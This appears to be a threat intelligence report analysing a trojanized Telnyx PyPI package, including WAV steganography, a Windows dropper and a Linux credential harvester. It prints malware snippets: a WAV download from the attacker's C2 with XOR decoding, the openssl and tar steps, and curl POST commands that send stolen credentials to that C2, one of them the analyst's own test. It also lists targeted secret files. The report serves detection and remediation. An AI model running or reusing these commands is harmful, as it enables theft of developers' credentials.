Campaign: TeamPCP — Telnyx PyPI Supply Chain Compromise
Samples: hangup.wav (Windows steganographic carrier), linux_payload.py (decoded _p credential harvester)
What Happened...
On March 27, 2026, the threat actor group TeamPCP published two trojanized versions (4.87.1 and 4.87.2) of the official Telnyx Python SDK to PyPI. This was the latest link in a credential-chaining supply chain campaign that began on March 19 with the compromise of Aqua Security's Trivy, subsequently spreading to Checkmarx GitHub Actions, LiteLLM, and now Telnyx. The campaign's defining innovation is the use of WAV audio steganography to deliver second-stage payloads, concealing executable binaries inside valid audio containers to evade network inspection and endpoint detection.
This breakdown provides a deep technical analysis of both platform-specific attack paths in the Telnyx compromise. For Windows, we dissect hangup.wav, the steganographic carrier downloaded from the TeamPCP command-and-control infrastructure, extract the hidden PE executable, analyze its structure, identify embedded second-stage steganography using PNG images, and document the process injection technique targeting dllhost.exe. For Linux/macOS, we analyze the decoded _p payload extracted directly from the malicious wheel, documenting the fileless in-memory credential harvesting technique, the hybrid AES-256-CBC + RSA-4096 encryption pipeline, and the living-off-the-land exfiltration chain using system openssl, tar, and curl.
Campaign Context
TeamPCP's operational pattern follows a precise credential-chaining methodology. Each compromise harvests secrets that enable the next:
- March 19 — Trivy (CVE-2026-33634): Force-pushed malicious binaries to 75 of 77 trivy-action tags, harvesting CI/CD secrets including PyPI tokens from every pipeline running unpinned Trivy.
- March 23 — Checkmarx: Compromised
kics-github-actionandast-github-action, along with two OpenVSX extensions using tokens stolen from Trivy victims. - March 24 — LiteLLM (versions 1.82.7, 1.82.8): Published using credentials stolen from LiteLLM's CI/CD pipeline, which itself ran unpinned Trivy. LiteLLM serves ~95 million downloads per month.
- March 27 — Telnyx (versions 4.87.1, 4.87.2): Published using a stolen
PYPI_TOKENlikely harvested during the LiteLLM compromise. Telnyx averages over 1 million downloads per month.
The Telnyx compromise introduced a new delivery mechanism not seen in the LiteLLM attack: WAV audio steganography. Rather than embedding the payload as base64 within the Python package itself, the malicious code downloads a .wav file from the C2 server at runtime. The payload is hidden inside the audio frame data of a valid WAV container.
Sample Identification
hangup.wav (Steganographic Carrier)
| Property | Value |
|---|---|
| Filename | hangup.wav |
| File Type | RIFF WAVE audio, Microsoft PCM, 16-bit, mono, 44100 Hz |
| File Size | 271,756 bytes |
| SHA256 | 1bb736dadecc7072396c6affa0c0fe938d1a986d9573a36b74eb6632af21318a |
| MD5 | 19a1e6b00f1615183012c5a51db87028 |
| C2 Source URL | hxxp://83[.]142[.]209[.]203:8080/hangup.wav |
| Purpose | Windows payload delivery (a companion file ringtone.wav delivers the Linux/macOS payload) |
Extracted PE Payload (msbuild.exe)
| Property | Value |
|---|---|
| Type | PE32+ executable (x86_64), Windows GUI |
| Size | 203,776 bytes (199 KB) |
| SHA256 | a0a8857e8a65c05778cf6068ad4c05ec9b6808990ae1427e932d2989754c59a4 |
| MD5 | ae22964bf1b4d4eabc15d44dd1d3b629 |
| SHA1 | 8a7e83c1a0fd9917857a7f687cf029670b405c70 |
| Compiler | GCC (GNU) 13/14-win32 (MinGW-w64 cross-compilation) |
| Compile Timestamp | 2026-03-27 04:38:48 UTC |
| Subsystem | WINDOWS_GUI (no console window) |
| Persistence Path | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe |
Steganography Extraction Technique
The WAV file passes all basic file-type validation — it has a legitimate RIFF/WAVE header, valid PCM format metadata (16-bit, 44100 Hz, mono), and will be accepted by any audio player or network inspection tool as an ordinary audio file. However, the audio frame data itself is not actual audio — it is a base64-encoded, XOR-encrypted PE executable.

Extraction Process
The malicious _client.py code in telnyx 4.87.2 performs the following extraction:
1. Open hangup.wav using Python's wave module
2. Read all audio frames: w.readframes(w.getnframes())
→ Returns 271,712 bytes of "audio" data
3. Base64-decode the frame data
→ Produces 203,784 bytes
4. Split: first 8 bytes = XOR key, remaining bytes = encrypted payload
→ XOR key: ac 9d 62 de ea 7b dd b0
5. XOR-decrypt the payload byte-by-byte using the rotating 8-byte key
→ Produces 203,776 byte PE executable
6. Write to %APPDATA%\...\Startup\msbuild.exe
7. Launch with CREATE_NO_WINDOW (0x08000000) flag
This is not classical LSB steganography (hiding data in the least significant bits of real audio). TeamPCP packs the entire encrypted payload into the WAV container's data chunk as if it were audio samples. The approach is effective because network security tools that inspect HTTP traffic for known malicious patterns see a legitimate .wav file being downloaded — the payload only materializes after the base64 decode and XOR decryption steps occur on the endpoint.
PE Payload Analysis
Section Layout
| Section | Virtual Addr | Virtual Size | Raw Size | Entropy | Permissions |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00009380 | 0x00009400 | 6.21 | CODE, EXEC, READ |
.data | 0x0000B000 | 0x00025500 | 0x00025600 | 6.73 | INIT_DATA, READ, WRITE |
.rdata | 0x00031000 | 0x00001358 | 0x00001400 | 4.52 | INIT_DATA, READ |
.pdata | 0x00033000 | 0x00000684 | 0x00000800 | 3.94 | INIT_DATA, READ |
.xdata | 0x00034000 | 0x00000558 | 0x00000600 | 3.91 | INIT_DATA, READ |
.bss | 0x00035000 | 0x00000290 | 0x00000000 | — | UNINIT_DATA, READ, WRITE |
.idata | 0x00036000 | 0x000007B8 | 0x00000800 | 4.05 | INIT_DATA, READ |
.tls | 0x00037000 | 0x00000010 | 0x00000200 | — | INIT_DATA, READ, WRITE |
.reloc | 0x00038000 | 0x0000007C | 0x00000200 | 1.57 | INIT_DATA, READ |
The .data section at 153 KB is disproportionately large relative to the 37 KB .text section, containing 98.1% non-null bytes at entropy 6.73. This section contains embedded PNG images used for a second stage of steganography.
Import Table
The binary imports from only two DLLs, keeping a minimal footprint:
KERNEL32.dll: CloseHandle, CreateFileA, CreateFileMappingA, CreateProcessW, GetModuleHandleA, GetStartupInfoA, GetSystemDirectoryA, MapViewOfFile, SetUnhandledExceptionFilter, Sleep, TlsAlloc, TlsGetValue, TlsSetValue, VirtualProtect, VirtualQuery, lstrcatA, lstrcmpA
msvcrt.dll: Standard C runtime functions (malloc, free, memcpy, memset, strlen, fprintf, fwrite, etc.)
Notable observations:
CreateProcessW— Used to spawn the target process for injectionCreateFileMappingA/MapViewOfFile— Memory-mapped file operations consistent with process hollowingVirtualProtect/VirtualQuery— Memory permission manipulation- No networking DLLs imported (no
ws2_32.dll,winhttp.dll, orwininet.dll) — networking is likely handled by the injected process or resolved dynamically at runtime
Process Injection Target
A UTF-16LE string embedded in the binary reveals the injection target:
C:\Windows\System32\dllhost.exe
dllhost.exe is the Windows COM Surrogate process — a legitimate system binary that frequently runs in normal Windows operations. Injecting into this process provides the attacker with several advantages: the process is trusted by security tools, it routinely makes network connections (making C2 traffic blend with normal activity), and multiple instances can run simultaneously without raising suspicion.
The combination of CreateProcessW (to spawn dllhost.exe, likely in a suspended state), VirtualProtect/VirtualQuery (to modify memory protections), and MapViewOfFile (for mapping shellcode into the target) strongly indicates a process hollowing or process injection technique. Modern EDR solutions are extremely sensitive to this behavior, however, and would likely be caught and terminated.
Embedded PNG Steganography (Second Stage)
The .data section contains two embedded PNG images, representing a second layer of steganographic data hiding:
PNG #1 (offset 0x9920 in extracted PE):
- Dimensions: 195 × 195 pixels, 8-bit RGBA
- Size: ~148.8 KB
- Alpha channel: All 0xFF (fully opaque, unused)
- RGB channel entropy: 7.94 bits/byte (near theoretical maximum of 8.0)
- Visual appearance: Random noise — no discernible image content
The near-maximum entropy across all three RGB channels confirms this is not an actual image but rather encrypted or compressed data packed into the pixel values. The binary includes a compiled copy of stb_image.h (Sean Barrett's single-header image loading library), which it uses to decode the PNG and extract the raw pixel data at runtime. The extracted RGB bytes likely contain the final-stage shellcode or configuration data that gets injected into the hollowed dllhost.exe process.
PNG #2 (offset 0x2F228): Partial/truncated — appears to be either a secondary payload or a decoy.
Windows Attack Chain (Complete)
┌─────────────────────────────────────────────────────────────────┐
│ 1. Developer runs: pip install telnyx (gets version 4.87.2) │
│ └─ OR: import telnyx in existing application │
├─────────────────────────────────────────────────────────────────┤
│ 2. Module import triggers setup() at module scope │
│ └─ Checks os.name == 'nt' (Windows only) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Downloads hangup.wav from 83.142.209.203:8080 │
│ └─ User-Agent: Mozilla/5.0 │
│ └─ 12-hour lockout via hidden .lock file (attrib +h) │
├─────────────────────────────────────────────────────────────────┤
│ 4. WAV steganography extraction │
│ └─ wave.readframes() → base64 decode → XOR decrypt │
│ └─ XOR key: ac9d62deea7bddb0 │
├─────────────────────────────────────────────────────────────────┤
│ 5. Writes PE to Startup folder as msbuild.exe │
│ └─ %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ │
│ └─ Mimics legitimate Microsoft Build Engine │
├─────────────────────────────────────────────────────────────────┤
│ 6. Launches with CREATE_NO_WINDOW (0x08000000) │
│ └─ No visible console window │
├─────────────────────────────────────────────────────────────────┤
│ 7. PE loads embedded PNG, extracts encrypted data from pixels │
│ └─ stb_image.h decodes 195x195 RGBA PNG │
│ └─ RGB pixel data = encrypted shellcode/config │
├─────────────────────────────────────────────────────────────────┤
│ 8. Process hollowing into dllhost.exe │
│ └─ CreateProcessW → VirtualProtect → MapViewOfFile │
│ └─ Injected code handles C2, credential theft, exfiltration │
├─────────────────────────────────────────────────────────────────┤
│ 9. Persistence: msbuild.exe in Startup folder │
│ └─ Executes on every user login │
│ └─ Repeats injection cycle │
└─────────────────────────────────────────────────────────────────┘
Linux/macOS Attack Path: Deep Analysis of the Decoded _p Payload
While hangup.wav targets Windows via the setup() function, the same malicious _client.py simultaneously executes FetchAudio() on non-Windows systems. The FetchAudio() function spawns a detached Python subprocess (start_new_session=True) that decodes and executes a 4,436-character base64 payload stored in the _p variable. We extracted this payload directly from the malicious telnyx-4.87.2.whl wheel for analysis.

Payload Overview
The decoded _p variable produces linux_payload.py — an 83-line self-contained credential harvester and encrypted exfiltration tool. The script is structured as a single function audioimport() that is called immediately at module scope. It performs three distinct operational stages: steganographic payload retrieval, in-memory credential harvesting, and hybrid-encrypted exfiltration.
┌─────────────────────────────────────────────────────────────────┐
│ FetchAudio() in _client.py │
│ └─ Spawns detached: python3 -c "exec(base64.b64decode(_p))" │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 1: Steganographic Payload Retrieval │
│ ├─ Downloads ringtone.wav from 83.142.209.203:8080 │
│ ├─ WAV frame extraction → base64 decode → XOR decrypt │
│ └─ Identical stego scheme to hangup.wav (Windows path) │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: In-Memory Credential Harvesting │
│ ├─ Decrypted payload piped to python3 via stdin │
│ ├─ Harvester script NEVER touches disk as a file │
│ ├─ stdout captured to temp file ("collected") │
│ └─ Targets: SSH keys, cloud creds, .env, shell history, │
│ crypto wallets, k8s tokens, Docker/npm/Git configs │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Hybrid Encryption + Exfiltration │
│ ├─ openssl rand → 256-bit AES session key │
│ ├─ openssl enc -aes-256-cbc -pbkdf2 → encrypt collected data │
│ ├─ openssl pkeyutl RSA-4096 OAEP → wrap session key │
│ ├─ tar -czf tpcp.tar.gz payload.enc session.key.enc │
│ └─ curl POST to C2 with X-Filename: tpcp.tar.gz │
├─────────────────────────────────────────────────────────────────┤
│ CLEANUP: TemporaryDirectory self-destructs on exit │
│ └─ All temp files, keys, and archives automatically removed │
└─────────────────────────────────────────────────────────────────┘
Stage 1: WAV Steganography Delivery (ringtone.wav)
The script begins with a platform gate — if os.name == 'nt': return — ensuring it only runs on Linux and macOS. It then attempts to download ringtone.wav from the same C2 server used for the Windows path:
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())
The User-Agent header Mozilla/5.0 matches the Windows path exactly and serves as a rudimentary server-side gate — bare wget or curl requests without this header are likely rejected by the C2. The 15-second timeout ensures the script doesn't hang indefinitely if the C2 is unreachable.
The steganographic extraction is identical to the hangup.wav technique:
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])
The WAV frame data is base64-decoded, the first 8 bytes are extracted as the XOR key, and the remaining bytes are decrypted with a rotating XOR. The resulting payload is the actual credential harvesting script for the target platform.
Stage 2: Fileless In-Memory Credential Harvesting
This is the most operationally significant stage. The decrypted harvester script is never written to disk as a file. Instead, it is piped directly into a Python interpreter via stdin:
with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"], # python3 reading from stdin
input=payload, # decrypted script fed as bytes
stdout=f, # harvested credentials → temp file
stderr=subprocess.DEVNULL,
check=True
)
The [sys.executable, "-"] invocation tells Python to read its script from standard input rather than a file. This means the harvester exists only in the Python interpreter's memory during execution — no .py file is written to the filesystem, making it invisible to file-based scanning and significantly complicating forensic recovery. The harvested credential data is written to stdout, which is redirected to a temporary file (collected) within a TemporaryDirectory.
Based on reporting from Endor Labs and SafeDep, the in-memory harvester (which we cannot recover without ringtone.wav) targets the following credential categories:
- SSH keys and configurations (
~/.ssh/id_rsa,~/.ssh/config,known_hosts) - Cloud provider credentials (AWS
~/.aws/credentials, GCPapplication_default_credentials.json, Azure~/.azure/) - Developer tool credentials (Docker
~/.docker/config.json, npm.npmrc, Git.gitconfigand credential helpers, HashiCorp Vault tokens) - Database credentials (
.pgpass,.my.cnf, MongoDB connection strings) - Environment configuration files (
.env,.env.local,.env.production— to extract embedded API keys and tokens) - Shell and database histories (
~/.bash_history,~/.zsh_history,~/.mysql_history,~/.psql_history) - Cryptocurrency wallet data (browser extension wallets, local wallet files)
- Kubernetes cluster credentials — if a service account token exists, the harvester reportedly deploys privileged pods to every node in
kube-system, each mounting the host root filesystem at/hostwithhostPID,hostNetwork, andprivileged: True, thenchroots into the host to install the persistence implant directly on the node
Stage 3: Hybrid Encryption and Exfiltration
After collection, the script implements a proper hybrid encryption pipeline using system openssl and curl — tools that are already present on virtually every Linux/macOS system, requiring no additional dependencies:
Step 1 — Generate AES session key:
openssl rand -out session.key 32
Creates a cryptographically random 256-bit (32-byte) AES key.
Step 2 — Encrypt collected credentials:
openssl enc -aes-256-cbc -in collected -out payload.enc \
-pass file:session.key -pbkdf2
Encrypts the harvested data with AES-256-CBC using PBKDF2 key derivation. Even if the exfiltration traffic is intercepted, the credential data cannot be read without the session key.
Step 3 — Wrap session key with RSA-4096:
openssl pkeyutl -encrypt -pubin -inkey pub.pem \
-in session.key -out session.key.enc \
-pkeyopt rsa_padding_mode:oaep
Encrypts the AES session key with TeamPCP's hardcoded RSA-4096 public key using OAEP padding. Only the holder of the corresponding private key can recover the session key. This is the same RSA key (beginning MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A...) found byte-for-byte in the LiteLLM compromise, providing high-confidence attribution to TeamPCP.
Step 4 — Bundle and exfiltrate:
tar -czf tpcp.tar.gz -C tmpdir payload.enc session.key.enc
curl -s -o /dev/null -w "%{http_code}" -X POST \
http://83.142.209.203:8080/ \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz
The encrypted payload and wrapped session key are bundled into a gzipped tarball and exfiltrated via HTTP POST. The X-Filename: tpcp.tar.gz header is a consistent TeamPCP operational signature observed across both the LiteLLM and Telnyx campaigns. The -s -o /dev/null flags suppress all output, and %{http_code} is used as a silent health check — the attacker gets confirmation of delivery without producing any visible output.
Anti-Forensics and Operational Security
The payload demonstrates disciplined operational tradecraft across several dimensions:
Fileless execution: The credential harvester is piped into Python via stdin and never exists as a file on disk. This defeats file-based AV scanning, leaves no script artifact for forensic recovery, and prevents hash-based detection.
Self-destructing workspace: All temporary files (collected credentials, encryption keys, WAV file, encrypted bundles) are created inside a Python TemporaryDirectory context manager. When the function exits — whether through success, failure, or exception — the entire directory and its contents are automatically deleted by the OS.
Silent error handling: Every stage is wrapped in try/except blocks that either return or pass silently. The script never raises an exception, never prints an error message, and never produces a traceback. If the C2 is down, if openssl isn't available, if credential files don't exist — the script simply exits cleanly with no trace.
Living off the land: The entire exfiltration pipeline uses only openssl, tar, and curl — standard system utilities that are expected to be present and running on production Linux/macOS systems. No malicious binaries are downloaded for this path (unlike the Windows path which drops a PE). Security tools that alert on unusual binary execution will not flag these commands individually.
Detached execution: The parent FetchAudio() function launches the payload with start_new_session=True, detaching the child process from the importing Python process. If the developer's application exits or is killed, the credential harvester continues running independently.
Platform Comparison: Windows vs. Linux/macOS
| Aspect | Windows (hangup.wav) | Linux/macOS (ringtone.wav + _p) |
|---|---|---|
| Delivery | WAV steganography → PE binary on disk | WAV steganography → Python script via stdin |
| Persistence | Startup folder (msbuild.exe) | None observed (one-shot harvester) |
| Execution | Native PE with process injection into dllhost.exe | Fileless Python piped to interpreter |
| Credential Theft | Delegated to injected process | Direct harvesting via in-memory script |
| Encryption | Unknown (handled by injected code) | AES-256-CBC + RSA-4096 OAEP via system openssl |
| Exfiltration | Unknown (handled by injected code) | HTTP POST via system curl with tpcp.tar.gz signature |
| Forensic Footprint | PE on disk + Startup persistence | Near-zero — temp directory self-destructs |
| Tool Dependencies | None (self-contained PE) | openssl, tar, curl (system utilities) |
The Linux/macOS path prioritizes stealth and forensic resistance over persistence. The Windows path prioritizes persistence and deep system access via process injection. Both paths converge on the same C2 infrastructure and use the same WAV steganography delivery mechanism, but diverge significantly in their post-delivery tradecraft — reflecting an understanding of the different defensive tooling and analyst workflows on each platform.
Indicators of Compromise
Network IOCs
| Indicator | Type | Context |
|---|---|---|
83[.]142[.]209[.]203 | IP Address | C2 server |
hxxp://83[.]142[.]209[.]203:8080/hangup.wav | URL | Windows payload delivery |
hxxp://83[.]142[.]209[.]203:8080/ringtone.wav | URL | Linux/macOS payload delivery |
hxxp://83[.]142[.]209[.]203:8080/ | URL | Exfiltration endpoint (HTTP POST) |
X-Filename: tpcp.tar.gz | HTTP Header | Exfiltration signature (consistent across LiteLLM and Telnyx campaigns) |
Content-Type: application/octet-stream | HTTP Header | Exfiltration content type |
User-Agent: Mozilla/5.0 | HTTP Header | C2 download request signature (minimal UA) |
File IOCs
| Indicator | Type | Context |
|---|---|---|
1bb736dadecc7072396c6affa0c0fe938d1a986d9573a36b74eb6632af21318a | SHA256 | hangup.wav |
a0a8857e8a65c05778cf6068ad4c05ec9b6808990ae1427e932d2989754c59a4 | SHA256 | Extracted PE payload |
ae22964bf1b4d4eabc15d44dd1d3b629 | MD5 | Extracted PE payload |
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 | SHA256 | telnyx-4.87.1.whl |
cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 | SHA256 | telnyx-4.87.2.whl |
Host IOCs — Windows
| Indicator | Type | Context |
|---|---|---|
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe | File Path | Persistence (Windows) |
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock | File Path | 12-hour lockout file (hidden) |
dllhost.exe spawned by msbuild.exe | Process Relationship | Process injection |
Host IOCs — Linux/macOS
| Indicator | Type | Context |
|---|---|---|
python3 -c "import base64; exec(base64.b64decode('...'))" | Process Command Line | Initial payload decoder spawned by _client.py |
python3 - (reading from stdin) | Process Command Line | Fileless harvester execution — Python reading script from stdin pipe |
openssl rand -out <tmpdir>/session.key 32 | Process Command Line | AES session key generation |
openssl enc -aes-256-cbc ... -pbkdf2 | Process Command Line | Credential data encryption |
openssl pkeyutl -encrypt -pubin ... -pkeyopt rsa_padding_mode:oaep | Process Command Line | RSA key wrapping |
curl -X POST http://83.142.209.203:8080/ -H "X-Filename: tpcp.tar.gz" | Process Command Line | Exfiltration |
tar -czf <tmpdir>/tpcp.tar.gz ... payload.enc session.key.enc | Process Command Line | Exfiltration archive creation |
Sequential openssl rand → openssl enc → openssl pkeyutl → tar → curl POST | Process Chain | Full exfiltration pipeline signature |
Cryptographic IOCs
| Indicator | Type | Context |
|---|---|---|
RSA-4096 public key beginning MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A... | Public Key | Shared across LiteLLM and Telnyx — TeamPCP attribution anchor |
RSA-4096 public key beginning vahaZDo8mucujrT15ry+08qNLwm3kxzF... (decoded modulus) | Key Material | Same key — alternative identification via modulus bytes |
PyPI Package IOCs
| Indicator | Type | Context |
|---|---|---|
telnyx==4.87.1 | Package Version | Malicious (bug prevents execution) |
telnyx==4.87.2 | Package Version | Malicious (functional) |
Uploaded via twine/6.2.0 CPython/3.14.3 | Upload Fingerprint | Attacker tool (legitimate CI uses rye publish) |
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Platform | Description |
|---|---|---|---|---|
| Initial Access | Supply Chain Compromise: Compromise Software Dependencies | T1195.002 | All | Trojanized telnyx PyPI package via stolen publishing credentials |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | All | Malicious code executes on import telnyx |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | Linux/macOS | Harvester piped to Python stdin; openssl, tar, curl executed via subprocess |
| Persistence | Boot or Logon Autostart Execution: Startup Folder | T1547.001 | Windows | msbuild.exe dropped in Windows Startup folder |
| Defense Evasion | Obfuscated Files or Information: Steganography | T1027.003 | All | PE hidden in WAV audio; shellcode hidden in PNG pixels |
| Defense Evasion | Obfuscated Files or Information: Fileless Storage | T1027.011 | Linux/macOS | Harvester script piped to Python stdin, never written to disk |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | Windows | Payload named msbuild.exe mimicking Microsoft Build Engine |
| Defense Evasion | Process Injection: Process Hollowing | T1055.012 | Windows | Injection into dllhost.exe (COM Surrogate) |
| Defense Evasion | Hide Artifacts: Hidden Files | T1564.001 | Windows | Lock file hidden via attrib +h |
| Defense Evasion | Indicator Removal: File Deletion | T1070.004 | Linux/macOS | TemporaryDirectory auto-deletes all artifacts on exit |
| Credential Access | Unsecured Credentials: Credentials in Files | T1552.001 | Linux/macOS | Harvests SSH keys, .env files, shell histories, cloud creds |
| Credential Access | Unsecured Credentials: Cloud Instance Metadata | T1552.005 | Linux/macOS | AWS, GCP, Azure credential files targeted |
| Collection | Data from Local System | T1005 | All | Collects credentials, tokens, wallet data |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Linux/macOS | AES-256-CBC + RSA-4096 encrypted exfiltration via HTTP POST |
| Exfiltration | Archive Collected Data: Archive via Utility | T1560.001 | Linux/macOS | tar -czf tpcp.tar.gz bundles encrypted payload and wrapped key |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | All | HTTP-based C2 communication |
| Command and Control | Encrypted Channel: Asymmetric Cryptography | T1573.002 | Linux/macOS | RSA-4096 OAEP wrapping of AES session key |
Detection Recommendations
Network Detection
- Block outbound connections to
83[.]142[.]209[.]203on all ports - Alert on HTTP responses with
Content-Type: audio/wavoraudio/x-wavfrom non-media domains, particularly when the response body exceeds 100 KB - Monitor for HTTP POST requests containing the header
X-Filename: tpcp.tar.gz - Flag any outbound connections from Python processes (
python.exe,python3) to raw IP addresses on non-standard ports - Alert on HTTP POST requests to raw IP addresses with
Content-Type: application/octet-streamfromcurlprocesses where the parent chain traces back to Python
Endpoint Detection — Windows
- Monitor for
msbuild.exerunning from the user's Startup folder rather thanC:\Windows\Microsoft.NET\ - Alert on
dllhost.exespawned as a child of an unusual parent process (particularly any process in the Startup folder) - Detect the
wavemodule being imported in Python processes that are not audio-related applications - Monitor for
attrib +hcommands targeting files in the Startup folder - Watch for
CreateProcessWcalls targetingC:\Windows\System32\dllhost.exefrom non-system parent processes
Endpoint Detection — Linux/macOS
- Alert on
python3 -(Python reading from stdin) where the parent process is also Python — this pattern is rare in legitimate applications and is the primary execution mechanism for the fileless harvester - Monitor for the sequential process chain:
openssl rand→openssl enc -aes-256-cbc→openssl pkeyutl -encryptexecuted within seconds of each other from the same parent — this is the exact encryption pipeline signature - Detect
curl -X POSTwith--data-binarytargeting raw IP addresses where the parent process chain includes Python - Alert on
tar -czfcreating archives namedtpcp.tar.gzor containing files namedpayload.encandsession.key.enc - Monitor for Python processes downloading
.wavfiles viaurllibto temporary directories — WAV downloads from Python processes that are not audio applications are anomalous - On systems with Sysmon for Linux: EVID 1 (process creation) tracking
openssl pkeyutlwith-pkeyopt rsa_padding_mode:oaepis a high-fidelity signal — this specific argument combination is uncommon outside of deliberate hybrid encryption operations
Supply Chain Detection
- Pin all Python dependency versions explicitly and use hash verification
- Audit CI/CD pipelines for unpinned security scanning tools (Trivy, KICS, etc.)
- Enable PyPI Trusted Publishers (OIDC) to bind uploads to specific GitHub repositories
- Monitor for
twineuploads that don't correspond to GitHub Actions workflow runs - Implement
pip install --require-hashesin production pipelines
Remediation
If your environment installed telnyx==4.87.1 or telnyx==4.87.2 between 03:51 UTC and 10:13 UTC on March 27, 2026:
- Treat the environment as fully compromised — rotate all API keys, database credentials, SSH keys, cloud provider tokens, and any other secrets accessible from the affected machine or CI/CD pipeline
- Downgrade immediately:
pip install telnyx==4.87.0 - Windows: Check for and delete
msbuild.exeandmsbuild.exe.lockin%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ - Windows: Hunt for
dllhost.exeinstances with suspicious parent processes or network connections - Linux/macOS: The fileless harvester leaves minimal forensic artifacts — focus on network logs for outbound HTTP POST traffic to
83[.]142[.]209[.]203:8080withX-Filename: tpcp.tar.gzheader. Check shell history foropenssl pkeyutlcommands withrsa_padding_mode:oaep. Assume credential exfiltration succeeded if the import occurred - Kubernetes environments: If the affected system had Kubernetes access, audit all pods in
kube-systemfor unauthorized privileged containers withhostPID,hostNetwork, and host filesystem mounts — the harvester reportedly deploys persistence implants directly onto nodes - Audit CI/CD pipelines — determine whether any build pipelines running the affected Telnyx versions also had access to credentials for other packages or platforms. TeamPCP's documented behavior is to use each compromise to enable the next
- Network monitoring — block and alert on all traffic to
83[.]142[.]209[.]203
C2 Infrastructure Status: Exfiltration Channel Remains Active (March 30, 2026)
Independent validation on March 30, 2026 — three days after public disclosure — confirms that the TeamPCP C2 infrastructure at 83[.]142[.]209[.]203:8080 is operating in an asymmetric mode: payload delivery is disabled while the credential exfiltration endpoint remains active.
Payload Delivery (Disabled)
GET requests for the steganographic carriers produce immediate connection resets:
$ wget --header="User-Agent: Mozilla/5.0" http://83.142.209.203:8080/ringtone.wav
Connecting to 83.142.209.203:8080... connected.
HTTP request sent, awaiting response... Read error (Connection reset by peer)The TCP handshake succeeds — a service is actively listening — but the connection is reset immediately after the HTTP request headers are sent. The server is not dead; it is selectively refusing to serve the payload endpoints. This is consistent with an operator who is aware of public disclosure and has intentionally disabled the infection chain.
Credential Exfiltration (Active)
POST requests mimicking the malware's exfiltration pattern exhibit fundamentally different behavior:
$ curl -v -X POST http://83.142.209.203:8080/ \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary "Phoenix Victim"
> POST / HTTP/1.1
> Content-Type: application/octet-stream
> X-Filename: tpcp.tar.gz
> Content-Length: 14
>
* upload completely sent off: 14 out of 14 bytes
* Recv failure: Connection reset by peerThe critical distinction: the server accepted and read the complete POST body before resetting the connection. A server rejecting the request would RST during the upload or refuse the connection outright. Instead, all 14 bytes were transmitted and acknowledged at the TCP level before the connection was torn down. The server also does not validate that the POST body is a structurally valid gzipped tar archive — it ingested an arbitrary plaintext string without discrimination.
This is consistent with a fire-and-forget collection model. The malware's curl command uses -s -o /dev/null (suppress all output) and wraps the call in except: pass (silently ignore any error), so it never checks the HTTP response. The server doesn't need to return a 200 OK — it just needs to read the bytes off the wire. The connection reset after full ingestion serves this purpose while leaving minimal server-side response artifacts.
Operational Implications
This asymmetric behavior means every compromised environment that has not completed remediation is still actively bleeding credentials to TeamPCP. The attack chain for new infections is broken (no WAV files served), but the exfiltration pipeline from existing victims continues to function. Given that the Telnyx package averages over 1 million downloads per month, the window between initial compromise (March 27 03:51 UTC), public disclosure, and complete remediation across all affected environments represents an extended collection opportunity that the operator is clearly exploiting.
Organizations should prioritize egress blocking of 83[.]142[.]209[.]203 on all ports immediately — this is not a historical IOC but an active exfiltration endpoint as of the publication date of this report.
Conclusion
The TeamPCP campaign represents a significant evolution in software supply chain attacks. The group's credential-chaining methodology directly enables the next compromise creating an expanded blast radius that is difficult to contain once the chain begins. The introduction of WAV steganography as a delivery mechanism adds a layer of evasion that bypasses network inspection tools trained to flag traditional executable downloads.
Analysis of both attack paths reveals a threat actor that tailors its tradecraft to each target platform. The Windows path via hangup.wav employs layered steganography — a PE executable hidden inside a WAV audio file, with additional shellcode/configuration hidden inside PNG images embedded within the PE itself — combined with process injection into the trusted dllhost.exe COM Surrogate for persistent, deep system access. The Linux/macOS path via the decoded _p payload takes an entirely different approach: fileless in-memory execution where the credential harvester never touches disk, living-off-the-land exfiltration through system openssl, tar, and curl, and automatic artifact cleanup via TemporaryDirectory. The Linux path prioritizes forensic resistance over persistence, reflecting an understanding that Linux analyst workflows differ from Windows and that server-side compromises (CI/CD pipelines, developer workstations) are the primary target.
The hybrid encryption pipeline — AES-256-CBC session keys wrapped with a hardcoded RSA-4096 public key — ensures that even intercepted exfiltration traffic cannot be decrypted without TeamPCP's private key. This same RSA key links the Telnyx and LiteLLM compromises definitively, and the tpcp.tar.gz exfiltration signature provides a reliable detection anchor across the campaign.
Organizations should assume that any environment that imported the malicious Telnyx versions is fully compromised and act accordingly. The FBI has assessed that a surge in breach disclosures, follow-on intrusions, and extortion attempts is expected in the coming weeks as TeamPCP processes the credentials harvested from this campaign.
References
- Telnyx Security Notice
- SafeDep: Compromised telnyx on PyPI: WAV Steganography and Credential Theft
- StepSecurity: TeamPCP Plants WAV Steganography Credential Stealer
